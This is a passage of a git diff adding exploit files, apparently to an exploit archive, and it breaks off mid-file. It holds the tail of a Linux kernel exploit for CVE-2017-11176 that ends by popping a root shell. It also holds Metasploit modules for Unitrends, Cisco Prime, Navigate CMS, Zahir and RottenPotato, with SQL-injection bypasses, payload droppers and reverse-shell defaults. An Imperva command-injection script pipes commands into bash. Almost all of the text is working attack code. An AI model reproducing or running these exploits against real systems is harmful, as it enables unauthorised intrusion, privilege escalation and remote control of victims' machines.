BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET); + BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET); + g_uland_wq_elt->flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call + g_uland_wq_elt->private = NULL; // unused + g_uland_wq_elt->func = (wait_queue_func_t) XCHG_EAX_ESP_ADDR; // <----- arbitrary call! + g_uland_wq_elt->task_list.next = (struct list_head*)&g_fake_next_elt; + g_uland_wq_elt->task_list.prev = (struct list_head*)&g_fake_next_elt; + printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt->func); + + return 0; +} + +// ---------------------------------------------------------------------------- + +static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups) +{ + struct sockaddr_nl addr; + size_t addr_len = sizeof(addr); + + memset(&addr, 0, sizeof(addr)); + // this will invoke "netlink_getname()" (uncontrolled read) + if (_getsockname(sock_fd, &addr, &addr_len)) + { + perror("[-] getsockname"); + goto fail; + } + printf("[ ] addr_len = %lu\n", addr_len); + printf("[ ] addr.nl_pid = %d\n", addr.nl_pid); + printf("[ ] magic_pid = %d\n", magic_pid); + + if (addr.nl_pid != magic_pid) + { + printf("[-] magic PID does not match!\n"); + goto fail; + } + + if (addr.nl_groups != magic_groups) + { + printf("[-] groups pointer does not match!\n"); + goto fail; + } + + return true; + +fail: + printf("[-] failed to check realloc success status!\n"); + return false; +} + + +// ---------------------------------------------------------------------------- + +static int init_unix_sockets(struct realloc_thread_arg * rta) +{ + struct timeval tv; + static int sock_counter = 0; + + if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || + ((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) + { + perror("[-] socket"); + goto fail; + } + + // bind an "abstract" socket (first byte is NULL) + memset(&rta->addr, 0, sizeof(rta->addr)); + rta->addr.sun_family = AF_UNIX; + sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter); + if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] bind"); + goto fail; + } + + if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] connect"); + goto fail; + } + + // set the timeout value to MAX_SCHEDULE_TIMEOUT + memset(&tv, 0, sizeof(tv)); + if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) + { + perror("[-] setsockopt"); + goto fail; + } + + return 0; + +fail: + // TODO: release everything + printf("[-] failed to initialize UNIX sockets!\n"); + return -1; +} + +// ---------------------------------------------------------------------------- + +static void* realloc_thread(void *arg) +{ + struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; + struct msghdr mhdr; + char buf[200]; + + // initialize msghdr + struct iovec iov = { + .iov_base = buf, + .iov_len = sizeof(buf), + }; + memset(&mhdr, 0, sizeof(mhdr)); + mhdr.msg_iov = &iov; + mhdr.msg_iovlen = 1; + + // the thread should inherit main thread cpumask, better be sure and redo-it! + if (migrate_to_cpu0()) + goto fail; + + // make it block + while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0) + ; + if (errno != EAGAIN) + { + perror("[-] sendmsg"); + goto fail; + } + + // use the arbitrary data now + iov.iov_len = 16; // don't need to allocate lots of memory now + mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer + mhdr.msg_controllen = sizeof(g_realloc_data); + + g_nb_realloc_thread_ready++; + + while (!g_realloc_now) // spinlock until the big GO! + ; + + // the next call should block while "reallocating" + if (_sendmsg(rta->send_fd, &mhdr, 0) < 0) + { + perror("[-] sendmsg"); + goto fail; + } + + return NULL; + +fail: + printf("[-] REALLOC THREAD FAILURE!!!\n"); + return NULL; +} + +// ---------------------------------------------------------------------------- + +static int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs) +{ + int thread = 0; + int ret = -1; + + if (!can_use_realloc_gadget()) + { + printf("[-] can't use the 'ancillary data buffer' reallocation gadget!\n"); + goto fail; + } + printf("[+] can use the 'ancillary data buffer' reallocation gadget!\n"); + + if (init_realloc_data()) + { + printf("[-] failed to initialize reallocation data!\n"); + goto fail; + } + printf("[+] reallocation data initialized!\n"); + + printf("[ ] initializing reallocation threads, please wait...\n"); + for (thread = 0; thread < nb_reallocs; ++thread) + { + if (init_unix_sockets(&rta[thread])) + { + printf("[-] failed to init UNIX sockets!\n"); + goto fail; + } + + if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) + { + perror("[-] pthread_create"); + goto fail; + } + } + + // wait until all threads have been created + while (g_nb_realloc_thread_ready < nb_reallocs) + _sched_yield(); // don't run me, run the reallocator threads! + + printf("[+] %lu reallocation threads ready!\n", nb_reallocs); + + return 0; + +fail: + printf("[-] failed to initialize reallocation\n"); + return -1; +} + +// ---------------------------------------------------------------------------- + +// keep this inlined, we can't loose any time (critical path) +static inline __attribute__((always_inline)) void realloc_NOW(void) +{ + g_realloc_now = 1; + _sched_yield(); // don't run me, run the reallocator threads! + sleep(5); +} + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ + +int main(void) +{ + int sock_fd2 = -1; + int val; + struct realloc_thread_arg rta[NB_REALLOC_THREADS]; + + printf("[ ] -={ CVE-2017-11176 Exploit }=-\n"); + + if (migrate_to_cpu0()) + { + printf("[-] failed to migrate to CPU#0\n"); + goto fail; + } + printf("[+] successfully migrated to CPU#0\n"); + + if (allocate_uland_structs()) + { + printf("[-] failed to allocate userland structures!\n"); + goto fail; + } + + build_rop_chain((uint64_t*)g_fake_stack); + printf("[+] ROP-chain ready\n"); + + memset(rta, 0, sizeof(rta)); + if (init_reallocation(rta, NB_REALLOC_THREADS)) + { + printf("[-] failed to initialize reallocation!\n"); + goto fail; + } + printf("[+] reallocation ready!\n"); + + if (find_netlink_candidates(&g_target, &g_guard)) + { + printf("[-] failed to find netlink candidates\n"); + goto fail; + } + printf("[+] netlink candidates ready:\n"); + printf("[+] target.pid = %d\n", g_target.pid); + printf("[+] guard.pid = %d\n", g_guard.pid); + + if (fill_receive_buffer(&g_target, &g_guard)) + goto fail; + + if (((unblock_fd = _dup(g_target.sock_fd)) < 0) || + ((sock_fd2 = _dup(g_target.sock_fd)) < 0)) + { + perror("[-] dup"); + goto fail; + } + printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2); + + // trigger the bug twice AND immediatly realloc! + if (decrease_sock_refcounter(g_target.sock_fd, unblock_fd) || + decrease_sock_refcounter(sock_fd2, unblock_fd)) + { + goto fail; + } + realloc_NOW(); + + // close it before invoking the arbitrary call + close(g_guard.sock_fd); + printf("[+] guard socket closed\n"); + + if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS)) + { + printf("[-] reallocation failed!\n"); + // TODO: retry the exploit + goto fail; + } + printf("[+] reallocation succeed! Have fun :-)\n"); + + + // trigger the arbitrary call primitive + printf("[ ] invoking arbitrary call primitive...\n"); + val = 3535; // need to be different than zero + if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) + { + perror("[-] setsockopt"); + goto fail; + } + printf("[+] arbitrary call succeed!\n"); + + printf("[+] exploit complete!\n"); + + printf("[ ] popping shell now!\n"); + char* shell = "/bin/bash"; + char* args[] = {shell, "-i", NULL}; + execve(shell, args, NULL); + + return 0; + +fail: + printf("[-] exploit failed!\n"); + PRESS_KEY(); + return -1; +} + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ \ No newline at end of file diff --git a/exploits/linux/remote/45559.rb b/exploits/linux/remote/45559.rb new file mode 100755 index 000000000..f197fc892 --- /dev/null +++ b/exploits/linux/remote/45559.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Unitrends UEB http api remote code execution', + 'Description' => %q{ + It was discovered that the api/storage web interface in Unitrends Backup (UB) + before 10.0.0 has an issue in which one of its input parameters was not validated. + A remote attacker could use this flaw to bypass authentication and execute arbitrary + commands with root privilege on the target system. + UEB v9 runs the api under root privileges and api/storage is vulnerable. + UEB v10 runs the api under limited privileges and api/hosts is vulnerable. + }, + 'Author' => + [ + 'Cale Smith', # @0xC413 + 'Benny Husted', # @BennyHusted + 'Jared Arave', # @iotennui + 'h00die' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86], + 'CmdStagerFlavor' => [ 'printf' ], + 'References' => + [ + ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'], + ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'], + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'], + ['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'], + ['EDB', '44297'], + ['CVE', '2017-12478'], + ['CVE', '2018-6328'] + ], + 'Targets' => + [ + [ 'UEB 9.*', { 'Privileged' => true} ], + [ 'UEB < 10.1.0', { 'Privileged' => false} ] + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', + 'SSL' => true + }, + 'DisclosureDate' => 'Aug 8 2017', + 'DefaultTarget' => 0)) + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]) + ]) + deregister_options('SRVHOST', 'SRVPORT') + end + + def auth_token + session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass + Base64.strict_encode64(session) #b64 encode session token + end + + def check + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => '/api/systems/details', + 'ctype' => 'application/json', + 'headers' => + {'AuthToken' => auth_token} + }) + if res && res.code == 200 + print_good("Good news, looks like a vulnerable version of UEB.") + return CheckCode::Appears + else + print_bad('Host does not appear to be vulnerable.') + end + return CheckCode::Safe + end + + #substitue some charactes + def filter_bad_chars(cmd) + cmd.gsub!("\\", "\\\\\\") + cmd.gsub!("'", '\\"') + end + + def execute_command(cmd, opts = {}) + if target.name == 'UEB 9.*' + #substitue the cmd into the hostname parameter + parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`| + parms << filter_bad_chars(cmd) + parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}| + uri = '/api/storage' + elsif target.name == 'UEB < 10.1.0' + parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&| + parms << filter_bad_chars(cmd) + parms << %Q|`'"}| + uri = '/api/hosts' + end + + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'ctype' => 'application/json', + 'encode_params' => false, + 'data' => parms, + 'headers' => + {'AuthToken' => auth_token} + }) + + if res && res.code != 500 + fail_with(Failure::UnexpectedReply,'Unexpected response') + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + + def exploit + print_status("#{peer} - Sending requests to UEB...") + execute_cmdstager(:linemax => 120) + end +end \ No newline at end of file diff --git a/exploits/linux/webapps/45542.py b/exploits/linux/webapps/45542.py new file mode 100755 index 000000000..71a53c99e --- /dev/null +++ b/exploits/linux/webapps/45542.py @@ -0,0 +1,71 @@ +# Title: Imperva SecureSphere 13 - Remote Command Execution +# Author: rsp3ar +# Date: 2018-10-08 +# Vendor: https://www.imperva.com/products/securesphere/ +# CVE: N/A +# Version: 13.0.10, 13.1.10, 13.2.10 +# Tested on: SecureSphere (Virtual Appliance) + +# Description +# PWS is a component in SecureSphere v13, which consists of Python CGIs to expose various cli utilities over https. +# The Python CGIs didn't properly sanitize user supplied command parameters, leading to command injection. +# The vulnerability could be exploited in below ways (depending on configuration status of SecureSphere): + +# 1. Unauthenticated Remote Code Execution (Pre-FTL mode) +# When SecureSphere VM is provisioned without running 'ftl' utility to configured into SOM/MX/Gateway mode, +# the vulnerable endpoint could be reached without authentication: + +# $ python poc.py -t 192.168.146.201 'sudo id' +# [*] Sending payload to https://192.168.146.201/pws/impcli... +# [*] Received command execution output: +# uid=0(root) gid=0(root) groups=0(root) + +# 2. Authenticated Remote Code Execution (Gateway mode) +# When SecureSphere VM is configured as gateway mode via 'ftl' utility, the vulnerable endpoint +# could be reached with valid agent registration credential for user 'imperva': + +# $ python poc.py -t 192.168.146.201 -p 'agent_registration_password' 'sudo id' +# [*] Sending payload to https://192.168.146.201/pws/impcli... +# [*] Received command execution output: +# uid=0(root) gid=0(root) groups=0(root) + +#!/usr/bin/env python + +import argparse, sys, base64, json +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +parser = argparse.ArgumentParser() +parser.add_argument("-t", metavar = "target", help = "Target hostname/IP address", type = str, required = True) +parser.add_argument("-p", metavar = "password", help = "Agent registration password for 'imperva' user", type = str, required = False) +parser.add_argument("cmd", help = "Command to be executed on target", type = str) +args = parser.parse_args() + +# /pws/inception is another vulnerable endpoint +target_url = "https://%s/pws/impcli" % (args.t) +session = requests.Session() +session.get(target_url, verify = False) + +split_mark = "SPLIT_MARK" +payload = "$(printf %s | base64 -d | bash)" % (base64.b64encode(args.cmd)) +headers = {} +if args.p is not None: + headers["Authorization"] = "Basic " + base64.b64encode("imperva:" + args.p) +body = { + "command": "impctl server status", + "parameters": { + "broadcast": True, + "installer-address": "127.0.0.1 %s%s%s" % (split_mark, payload, split_mark) + } +} +print("[*] Sending payload to %s..." % (target_url)) +response = session.post(target_url, headers = headers, data = json.dumps(body), verify = False) + +if split_mark in response.text: + print("[*] Received command execution output:") + print(response.text.split(split_mark)[1]) +elif response.status_code == requests.codes.unauthorized: + print("[!] Gateway Authentication required, please provide agent registration password.") +else: + print("[!] Failed to execute command on target.") \ No newline at end of file diff --git a/exploits/multiple/remote/45555.rb b/exploits/multiple/remote/45555.rb new file mode 100755 index 000000000..dc52e3a16 --- /dev/null +++ b/exploits/multiple/remote/45555.rb @@ -0,0 +1,191 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution', + 'Description' => %q{ + Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow + an unauthenticated attacker to achieve remote code execution. The first flaw is a file + upload vulnerability that allows the attacker to upload and execute files as the Apache + Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions + in a SUID binary. + + This module exploits these vulnerabilities to achieve unauthenticated remote code execution + as root on the CPI default installation. + + This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions + might also be affected, although 3.4.0.0.348 is the latest at the time of writing. + }, + 'Author' => + [ + 'Pedro Ribeiro' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'TODO' ], + [ 'CVE', 'TODO' ], + [ 'URL', 'TODO' ], + [ 'URL', 'TODO' ] + ], + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + [ 'Cisco Prime Infrastructure', {} ] + ], + 'Privileged' => true, + 'DefaultOptions' => { 'WfsDelay' => 10 }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'TODO' + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 443]), + OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]), + OptBool.new('SSL', [true, 'Use SSL connection', true]), + OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp']) + ]) + end + + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'), + 'method' => 'GET' + }) + if res && res.code == 404 && res.body.length == 0 + # at the moment this is the best way to detect + # a 404 in swimtemp only returns the error code with a body length of 0, + # while a 404 to another webapp or to the root returns code plus a body with content + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + end + + + def upload_payload(payload) + lport = datastore['LPORT'] || (1025 + rand(0xffff-1025)) + lhost = datastore['LHOST'] || "0.0.0.0" + remote_file = rand_text_alpha(rand(14) + 5) + '.jsp' + + tftp_client = Rex::Proto::TFTP::Client.new( + "LocalHost" => lhost, + "LocalPort" => lport, + "PeerHost" => rhost, + "PeerPort" => datastore['RPORT_TFTP'], + "LocalFile" => "DATA:#{payload}", + "RemoteFile" => remote_file, + "Mode" => 'octet', + "Context" => {'Msf' => self.framework, 'MsfExploit' => self}, + "Action" => :upload + ) + print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'" + tftp_client.send_write_request + + remote_file + end + + def generate_jsp_payload + exe = generate_payload_exe + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_pstream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_tmp2 = rand_text_alpha(rand(8) + 3) + var_path2 = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2}); + | + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + + File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh"); + String #{var_path2} = #{var_tmp2}.getAbsolutePath(); + + PrintWriter #{var_pstream} = + new PrintWriter(new FileOutputStream(#{var_path2})); + #{var_pstream}.println("!#/bin/sh"); + #{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'"); + #{var_pstream}.close(); + #{chmod} + + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit + jsp_payload = generate_jsp_payload + + jsp_name = upload_payload(jsp_payload) + + # we land in /opt/CSCOlumos, so we don't know the apache directory + # as it changes between versions... so leave this commented for now + # ... and try to find a good way to clean it later + # register_files_for_cleanup(jsp_name) + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], jsp_name), + 'method' => 'GET' + }) + + handler + end +end \ No newline at end of file diff --git a/exploits/php/remote/45561.rb b/exploits/php/remote/45561.rb new file mode 100755 index 000000000..a5b8a1f83 --- /dev/null +++ b/exploits/php/remote/45561.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Navigate CMS Unauthenticated Remote Code Execution', + 'Description' => %q( + This module exploits insufficient sanitization in the database::protect + method, of Navigate CMS versions 2.8 and prior, to bypass authentication. + + The module then uses a path traversal vulnerability in navigate_upload.php + that allows authenticated users to upload PHP files to arbitrary locations. + Together these vulnerabilities allow an unauthenticated attacker to + execute arbitrary PHP code remotely. + + This module was tested against Navigate CMS 2.8. + ), + 'Author' => + [ + 'Pyriphlegethon' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2018-17552'], # Authentication bypass + ['CVE', '2018-17553'] # File upload + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 26 2018')) + + register_options [ + OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']), + ] + end + + def login_bypass + check_resp = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/login.php') + ) + + login_bypass_resp = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/login.php'), + 'cookie' => 'navigate-user=\" OR TRUE--%20' + ) + + if login_bypass_resp && + login_bypass_resp.code == 302 && + check_resp.body.include?('Navigate CMS') + session_id = login_bypass_resp.get_cookies_parsed + .values.select { |v| v.to_s.include?('NVSID_') } + .first.first + return session_id + end + end + + def check + return CheckCode::Vulnerable if login_bypass + CheckCode::Safe + end + + def exploit + session_id = login_bypass + fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id + + print_good('Login bypass successful') + + php = payload.encoded + data = Rex::MIME::Message.new + data.add_part(php, 'image/jpeg', nil, + "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"") + data_post = data.to_s + + upload = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'), + 'vars_get' => Hash[{ + 'session_id' => session_id, + 'engine' => 'picnik', + 'id' => '../../../navigate_info.php' + }.to_a.shuffle], + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post + ) + + fail_with(Failure::Unreachable, 'Unable to reach target') unless upload + fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200 + + print_good('Upload successful') + + print_status('Triggering payload...') + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/navigate_info.php') + ) + end + + def on_new_session(session) + super + if session.type != 'meterpreter' + print_error('Unable to restore navigate_info.php') + return + end + + session.core.use('stdapi') if !session.ext.aliases.include?('stdapi') + + begin + session.fs.file.open('navigate_info.php', 'w').write("") + rescue + print_error('Unable to restore navigate_info.php') + end + end +end \ No newline at end of file diff --git a/exploits/windows/local/45540.py b/exploits/windows/local/45540.py new file mode 100755 index 000000000..ec7e1a45e --- /dev/null +++ b/exploits/windows/local/45540.py @@ -0,0 +1,29 @@ +# Exploit Title: 360 3.5.0.1033 - Sandbox Escape +# Date: 2018-10-08 +# Exploit Author: vr_system +# Vendor Homepage: https://www.360.cn/ +# Software Link: https://dl.360safe.com/360/inst.exe +# Version: 3.5.0.1033 +# Tested on: 3.5.0.1033 +# CVE : None + +# 1、CMD_test.py +import os +os.system("CMD") + +# 2、PowerShell_test.py +import os +os.system("PowerShell") + +# 3、 +# Running CMD_test.py in sandbox: +Microsoft Windows [版本 10.0.17134.254] +(c) 2018 Microsoft Corporation。保留所有权利。 + +C:\Python27> + +# Running PowerShell_test.py in sandbox: +Windows PowerShell +版权所有 (C) Microsoft Corporation。保留所有权利。 + +PS C:\Python27> \ No newline at end of file diff --git a/exploits/windows/local/45560.rb b/exploits/windows/local/45560.rb new file mode 100755 index 000000000..96a0a3e06 --- /dev/null +++ b/exploits/windows/local/45560.rb @@ -0,0 +1,66 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info={}) + super(update_info(info, + 'Name' => "Zahir Enterprise Plus 6 Stack Buffer Overflow", + 'Description' => %q{ + This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below. + The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters + via Import from other File. This results in overwriting a structured exception handler record. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'f3ci', # initial discovery + 'modpr0be' # poc and Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2018-17408' ], + [ 'EDB', '45505' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + ['Zahir Enterprise Plus 6 <= build 10b', + { + #P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl) + 'Ret' => 0x52016661, + 'Offset' => 3041 + } + ] + ], + 'Payload' => + { + 'Space' => 5000, + 'BadChars' => "\x00\x0a\x0d\x22\x2c", + 'DisableNops' => true + }, + 'DisclosureDate' => 'Sep 28 2018', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv']) + ]) + end + + def exploit + buf = rand_text_alpha_upper(target['Offset']) + buf << "\r\n" # crash chars + buf << rand_text_alpha_upper(380) # extra chars to hit the offset + buf << generate_seh_record(target.ret) + buf << payload.encoded + + file_create(buf) + end +end \ No newline at end of file diff --git a/exploits/windows/local/45562.rb b/exploits/windows/local/45562.rb new file mode 100755 index 000000000..25e538b71 --- /dev/null +++ b/exploits/windows/local/45562.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/windows/reflective_dll_injection' + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC', + 'Description' => %q( + Module utilizes the Net-NTLMv2 reflection between DCOM/RPC + to achieve a SYSTEM handle for elevation of privilege. Currently the module + does not spawn as SYSTEM, however once achieving a shell, one can easily + use incognito to impersonate the token. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'FoxGloveSec', # the original Potato exploit + 'breenmachine', # Rotten Potato NG! + 'Mumbai' # Austin : port of RottenPotato for reflection & quick module + ], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => + { + 'EXITFUNC' => 'none', + 'WfsDelay' => '20' + }, + 'Targets' => + [ + ['Automatic', {}], + ['Windows x86', { 'Arch' => ARCH_X86 }], + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'References' => + [ + ['MSB', 'MS16-075'], + ['CVE', '2016-3225'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'], + ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'], + ['URL', 'https://github.com/breenmachine/RottenPotatoNG'] + ], + 'DisclosureDate' => 'Jan 16 2016', + 'DefaultTarget' => 0 + })) + end + + def assign_target + if target.name == 'Automatic' + case sysinfo["Architecture"] + when 'x86' + vprint_status("Found we are on an x86 target") + my_target = targets[1] + when 'x64' + vprint_status("Found we are on an x64 target") + my_target = targets[2] + else + fail_with(Failure::NoTarget, "Unable to determine target") + end + else + my_target = target + end + return my_target + end + + def verify_arch(my_target) + if my_target["Arch"] != sysinfo["Architecture"] + print_error("Assigned Target Arch = #{my_target.opts['Arch']}") + print_error("Actual Target Arch = #{sysinfo['Architecture']}") + fail_with(Failure::BadConfig, "Assigned Arch does not match reality") + end + if client.arch != sysinfo["Architecture"] + fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported") + else + vprint_good("Current payload and target Arch match....") + end + end + + def check + privs = client.sys.config.getprivs + if privs.include?('SeImpersonatePrivilege') + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + my_target = assign_target + print_status("#{my_target['Arch']}") + verify_arch(my_target) + if check == Exploit::CheckCode::Safe + fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege') + end + if my_target.opts['Arch'] == 'x64' + dll_file_name = 'rottenpotato.x64.dll' + vprint_status("Assigning payload rottenpotato.x64.dll") + elsif my_target.opts['Arch'] == 'x86' + dll_file_name = 'rottenpotato.x86.dll' + vprint_status("Assigning payload rottenpotato.x86.dll") + else + fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code") + end + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + print_error('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + print_status("Reflectively injecting 